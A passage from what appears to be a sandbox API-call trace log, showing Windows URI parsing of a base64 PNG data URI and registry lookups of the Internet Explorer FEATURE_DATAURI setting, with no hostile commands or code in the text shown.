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", ppu=0x1ccfb0 | out: ppu=0x1ccfb0) returned 0x0
[0102.903] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.903] IUnknown:AddRef (This=0x47db0c) returned 0x7
[0102.903] IUnknown:AddRef (This=0x47db0c) returned 0x8
[0102.903] IUnknown:QueryInterface (in: This=0x47db0c, riid=0x732ed6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x1ccfe0 | out: ppvObject=0x1ccfe0*=0x47db0c) returned 0x0
[0102.903] IUnknown:Release (This=0x47db0c) returned 0x8
[0102.904] IUnknown:AddRef (This=0x47db0c) returned 0x9
[0102.904] IUri:GetScheme (in: This=0x47db0c, pdwScheme=0x4b7708 | out: pdwScheme=0x4b7708*=0x0) returned 0x0
[0102.904] IUri:GetSchemeName (in: This=0x47db0c, pbstrSchemeName=0x1ccfe0 | out: pbstrSchemeName=0x1ccfe0*="data") returned 0x0
[0102.904] _wcsnicmp (_String1="data", _String2="data", _MaxCount=0x5) returned 0
[0102.904] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1ccf60 | out: phkResult=0x1ccf60*=0x26c) returned 0x0
[0102.904] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1ccf64 | out: phkResult=0x1ccf64*=0x268) returned 0x0
[0102.904] RegOpenKeyExW (in: hKey=0x268, lpSubKey="FEATURE_DATAURI", ulOptions=0x0, samDesired=0x1, phkResult=0x1ccf20 | out: phkResult=0x1ccf20*=0x0) returned 0x2
[0102.905] RegOpenKeyExW (in: hKey=0x26c, lpSubKey="FEATURE_DATAURI", ulOptions=0x0, samDesired=0x1, phkResult=0x1ccf20 | out: phkResult=0x1ccf20*=0x0) returned 0x2
[0102.905] RegCloseKey (hKey=0x0) returned 0x6
[0102.905] RegCloseKey (hKey=0x0) returned 0x6
[0102.905] RegCloseKey (hKey=0x26c) returned 0x0
[0102.905] RegCloseKey (hKey=0x268) returned 0x0
[0102.905] IUnknown:QueryInterface (in: This=0x47db0c, riid=0x732ed6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x1ccfec | out: ppvObject=0x1ccfec*=0x47db0c) returned 0x0
[0102.905] IUnknown:Release (This=0x47db0c) returned 0x9
[0102.905] IUnknown:AddRef (This=0x47db0c) returned 0xa
[0102.905] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x10) returned 0x4987b8
[0102.905] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x1bc) returned 0x4b77b8
[0102.905] CreateUri (in: pwzURI="data:image/png;base64,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